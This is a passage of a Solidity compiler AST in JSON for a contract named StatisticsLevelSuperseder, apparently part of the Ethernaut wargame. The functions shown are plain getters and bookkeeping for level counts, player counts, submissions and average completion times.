uint256)"}},"id":56999,"indexExpression":{"id":56998,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56957,"src":"7976:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"7943:40:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57000,"name":"timeTakenForThisSuccessfulSubmission","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56976,"src":"7986:36:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7943:79:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57002,"nodeType":"ExpressionStatement","src":"7943:79:117"}]}},{"expression":{"id":57027,"name":"newAverageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56973,"src":"8374:35:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56965,"id":57028,"nodeType":"Return","src":"8367:42:117"}]},"implemented":true,"kind":"function","modifiers":[],"name":"updateAverageTimeTakenToCompleteLevelsByPlayer","nameLocation":"7270:46:117","parameters":{"id":56962,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56957,"mutability":"mutable","name":"player","nameLocation":"7334:6:117","nodeType":"VariableDeclaration","scope":57030,"src":"7326:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56956,"name":"address","nodeType":"ElementaryTypeName","src":"7326:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56959,"mutability":"mutable","name":"level","nameLocation":"7358:5:117","nodeType":"VariableDeclaration","scope":57030,"src":"7350:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56958,"name":"address","nodeType":"ElementaryTypeName","src":"7350:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56961,"mutability":"mutable","name":"totalNoOfLevelsCompletedByPlayer","nameLocation":"7381:32:117","nodeType":"VariableDeclaration","scope":57030,"src":"7373:40:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56960,"name":"uint256","nodeType":"ElementaryTypeName","src":"7373:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7316:103:117"},"returnParameters":{"id":56965,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56964,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57030,"src":"7437:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56963,"name":"uint256","nodeType":"ElementaryTypeName","src":"7437:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7436:9:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":57038,"nodeType":"FunctionDefinition","src":"8451:125:117","nodes":[],"body":{"id":57037,"nodeType":"Block","src":"8526:50:117","nodes":[],"statements":[{"expression":{"id":57035,"name":"globalNoOfInstancesCreated","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56466,"src":"8543:26:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57034,"id":57036,"nodeType":"Return","src":"8536:33:117"}]},"functionSelector":"7cbe8d04","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfLevelInstancesCreated","nameLocation":"8460:33:117","parameters":{"id":57031,"nodeType":"ParameterList","parameters":[],"src":"8493:2:117"},"returnParameters":{"id":57034,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57033,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57038,"src":"8517:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57032,"name":"uint256","nodeType":"ElementaryTypeName","src":"8517:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8516:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57046,"nodeType":"FunctionDefinition","src":"8582:129:117","nodes":[],"body":{"id":57045,"nodeType":"Block","src":"8659:52:117","nodes":[],"statements":[{"expression":{"id":57043,"name":"globalNoOfInstancesCompleted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56468,"src":"8676:28:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57042,"id":57044,"nodeType":"Return","src":"8669:35:117"}]},"functionSelector":"900f09ac","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfLevelInstancesCompleted","nameLocation":"8591:35:117","parameters":{"id":57039,"nodeType":"ParameterList","parameters":[],"src":"8626:2:117"},"returnParameters":{"id":57042,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57041,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57046,"src":"8650:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57040,"name":"uint256","nodeType":"ElementaryTypeName","src":"8650:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8649:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57054,"nodeType":"FunctionDefinition","src":"8717:122:117","nodes":[],"body":{"id":57053,"nodeType":"Block","src":"8788:51:117","nodes":[],"statements":[{"expression":{"id":57051,"name":"globalNoOfFailedSubmissions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56470,"src":"8805:27:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57050,"id":57052,"nodeType":"Return","src":"8798:34:117"}]},"functionSelector":"7ceb9533","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfFailedSubmissions","nameLocation":"8726:29:117","parameters":{"id":57047,"nodeType":"ParameterList","parameters":[],"src":"8755:2:117"},"returnParameters":{"id":57050,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57049,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57054,"src":"8779:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57048,"name":"uint256","nodeType":"ElementaryTypeName","src":"8779:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8778:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57063,"nodeType":"FunctionDefinition","src":"8845:99:117","nodes":[],"body":{"id":57062,"nodeType":"Block","src":"8906:38:117","nodes":[],"statements":[{"expression":{"expression":{"id":57059,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"8923:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57060,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8931:6:117","memberName":"length","nodeType":"MemberAccess","src":"8923:14:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57058,"id":57061,"nodeType":"Return","src":"8916:21:117"}]},"functionSelector":"fb66d7ab","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfPlayers","nameLocation":"8854:19:117","parameters":{"id":57055,"nodeType":"ParameterList","parameters":[],"src":"8873:2:117"},"returnParameters":{"id":57058,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57057,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57063,"src":"8897:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57056,"name":"uint256","nodeType":"ElementaryTypeName","src":"8897:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8896:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57079,"nodeType":"FunctionDefinition","src":"8950:175:117","nodes":[],"body":{"id":57078,"nodeType":"Block","src":"9061:64:117","nodes":[],"statements":[{"expression":{"expression":{"baseExpression":{"id":57073,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56510,"src":"9078:10:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$56489_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.Level storage ref)"}},"id":57075,"indexExpression":{"id":57074,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57065,"src":"9089:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9078:17:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage","typeString":"struct StatisticsLevelSuperseder.Level storage ref"}},"id":57076,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"9096:22:117","memberName":"noOfSubmissions_Failed","nodeType":"MemberAccess","referencedDeclaration":56488,"src":"9078:40:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57072,"id":57077,"nodeType":"Return","src":"9071:47:117"}]},"functionSelector":"e041ae9b","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":57068,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57065,"src":"9036:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":57069,"kind":"modifierInvocation","modifierName":{"id":57067,"name":"levelExistsCheck","nameLocations":["9019:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"9019:16:117"},"nodeType":"ModifierInvocation","src":"9019:23:117"}],"name":"getNoOfFailedSubmissionsForLevel","nameLocation":"8959:32:117","parameters":{"id":57066,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57065,"mutability":"mutable","name":"level","nameLocation":"9000:5:117","nodeType":"VariableDeclaration","scope":57079,"src":"8992:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57064,"name":"address","nodeType":"ElementaryTypeName","src":"8992:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8991:15:117"},"returnParameters":{"id":57072,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57071,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57079,"src":"9052:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57070,"name":"uint256","nodeType":"ElementaryTypeName","src":"9052:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9051:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57095,"nodeType":"FunctionDefinition","src":"9131:165:117","nodes":[],"body":{"id":57094,"nodeType":"Block","src":"9234:62:117","nodes":[],"statements":[{"expression":{"expression":{"baseExpression":{"id":57089,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56510,"src":"9251:10:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$56489_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.Level storage ref)"}},"id":57091,"indexExpression":{"id":57090,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57081,"src":"9262:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9251:17:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage","typeString":"struct StatisticsLevelSuperseder.Level storage ref"}},"id":57092,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"9269:20:117","memberName":"noOfInstancesCreated","nodeType":"MemberAccess","referencedDeclaration":56484,"src":"9251:38:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57088,"id":57093,"nodeType":"Return","src":"9244:45:117"}]},"functionSelector":"9cbf280d","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":57084,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57081,"src":"9209:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":57085,"kind":"modifierInvocation","modifierName":{"id":57083,"name":"levelExistsCheck","nameLocations":["9192:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"9192:16:117"},"nodeType":"ModifierInvocation","src":"9192:23:117"}],"name":"getNoOfInstancesForLevel","nameLocation":"9140:24:117","parameters":{"id":57082,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57081,"mutability":"mutable","name":"level","nameLocation":"9173:5:117","nodeType":"VariableDeclaration","scope":57095,"src":"9165:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57080,"name":"address","nodeType":"ElementaryTypeName","src":"9165:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9164:15:117"},"returnParameters":{"id":57088,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57087,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57095,"src":"9225:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57086,"name":"uint256","nodeType":"ElementaryTypeName","src":"9225:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9224:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57111,"nodeType":"FunctionDefinition","src":"9302:186:117","nodes":[],"body":{"id":57110,"nodeType":"Block","src":"9416:72:117","nodes":[],"statements":[{"expression":{"expression":{"baseExpression":{"id":57105,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56510,"src":"9433:10:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$56489_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.Level storage ref)"}},"id":57107,"indexExpression":{"id":57106,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57097,"src":"9444:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9433:17:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage","typeString":"struct StatisticsLevelSuperseder.Level storage ref"}},"id":57108,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"9451:30:117","memberName":"noOfInstancesSubmitted_Success","nodeType":"MemberAccess","referencedDeclaration":56486,"src":"9433:48:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57104,"id":57109,"nodeType":"Return","src":"9426:55:117"}]},"functionSelector":"3d9aeaef","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":57100,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57097,"src":"9391:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":57101,"kind":"modifierInvocation","modifierName":{"id":57099,"name":"levelExistsCheck","nameLocations":["9374:16:117"],"nodeType":"IdentifierPath","referencedDeclaration":56596,"src":"9374:16:117"},"nodeType":"ModifierInvocation","src":"9374:23:117"}],"name":"getNoOfCompletedSubmissionsForLevel","nameLocation":"9311:35:117","parameters":{"id":57098,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57097,"mutability":"mutable","name":"level","nameLocation":"9355:5:117","nodeType":"VariableDeclaration","scope":57111,"src":"9347:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57096,"name":"address","nodeType":"ElementaryTypeName","src":"9347:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9346:15:117"},"returnParameters":{"id":57104,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57103,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57111,"src":"9407:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57102,"name":"uint256","nodeType":"ElementaryTypeName","src":"9407:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9406:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57123,"nodeType":"FunctionDefinition","src":"9520:108:117","nodes":[],"body":{"id":57122,"nodeType":"Block","src":"9586:42:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":57118,"name":"levelExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56537,"src":"9603:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":57120,"indexExpression":{"id":57119,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57113,"src":"9615:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9603:18:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":57117,"id":57121,"nodeType":"Return","src":"9596:25:117"}]},"functionSelector":"f3a39909","implemented":true,"kind":"function","modifiers":[],"name":"doesLevelExist","nameLocation":"9529:14:117","parameters":{"id":57114,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57113,"mutability":"mutable","name":"level","nameLocation":"9552:5:117","nodeType":"VariableDeclaration","scope":57123,"src":"9544:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57112,"name":"address","nodeType":"ElementaryTypeName","src":"9544:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9543:15:117"},"returnParameters":{"id":57117,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57116,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57123,"src":"9580:4:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":57115,"name":"bool","nodeType":"ElementaryTypeName","src":"9580:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"9579:6:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57135,"nodeType":"FunctionDefinition","src":"9634:112:117","nodes":[],"body":{"id":57134,"nodeType":"Block","src":"9702:44:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":57130,"name":"playerExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56533,"src":"9719:12:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":57132,"indexExpression":{"id":57131,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57125,"src":"9732:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9719:20:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":57129,"id":57133,"nodeType":"Return","src":"9712:27:117"}]},"functionSelector":"ba5d8082","implemented":true,"kind":"function","modifiers":[],"name":"doesPlayerExist","nameLocation":"9643:15:117","parameters":{"id":57126,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57125,"mutability":"mutable","name":"player","nameLocation":"9667:6:117","nodeType":"VariableDeclaration","scope":57135,"src":"9659:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57124,"name":"address","nodeType":"ElementaryTypeName","src":"9659:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9658:16:117"},"returnParameters":{"id":57129,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57128,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57135,"src":"9696:4:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":57127,"name":"bool","nodeType":"ElementaryTypeName","src":"9696:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"9695:6:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57144,"nodeType":"FunctionDefinition","src":"9752:106:117","nodes":[],"body":{"id":57143,"nodeType":"Block","src":"9821:37:117","nodes":[],"statements":[{"expression":{"expression":{"id":57140,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56464,"src":"9838:6:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57141,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9845:6:117","memberName":"length","nodeType":"MemberAccess","src":"9838:13:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57139,"id":57142,"nodeType":"Return","src":"9831:20:117"}]},"functionSelector":"7e0ca04f","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfEthernautLevels","nameLocation":"9761:27:117","parameters":{"id":57136,"nodeType":"ParameterList","parameters":[],"src":"9788:2:117"},"returnParameters":{"id":57139,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57138,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57144,"src":"9812:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57137,"name":"uint256","nodeType":"ElementaryTypeName","src":"9812:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9811:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57156,"nodeType":"FunctionDefinition","src":"9864:155:117","nodes":[],"body":{"id":57155,"nodeType":"Block","src":"9955:64:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":57151,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56541,"src":"9972:32:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57153,"indexExpression":{"id":57152,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57146,"src":"10005:6:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9972:40:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":57150,"id":57154,"nodeType":"Return","src":"9965:47:117"}]},"functionSelector":"3aa46685","implemented":true,"kind":"function","modifiers":[],"name":"getAverageTimeTakenToCompleteLevels","nameLocation":"9873:35:117","parameters":{"id":57147,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57146,"mutability":"mutable","name":"player","nameLocation":"9917:6:117","nodeType":"VariableDeclaration","scope":57156,"src":"9909:14:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57145,"name":"address","nodeType":"ElementaryTypeName","src":"9909:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9908:16:117"},"returnParameters":{"id":57150,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57149,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57156,"src":"9946:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57148,"name":"uint256","nodeType":"ElementaryTypeName","src":"9946:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9945:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57187,"nodeType":"FunctionDefinition","src":"10061:305:117","nodes":[],"body":{"id":57186,"nodeType":"Block","src":"10108:258:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57165,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57162,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"10170:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57163,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"10183:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57164,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10193:4:117","memberName":"INIT","nodeType":"MemberAccess","referencedDeclaration":56552,"src":"10183:14:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"10170:27:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420636f72726563742064756d70207374616765","id":57166,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10199:24:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""},"value":"Not correct dump stage"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""}],"id":57161,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"10162:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57167,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10162:62:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57168,"nodeType":"ExpressionStatement","src":"10162:62:117"},{"expression":{"id":57171,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57169,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"10234:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30","id":57170,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10252:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 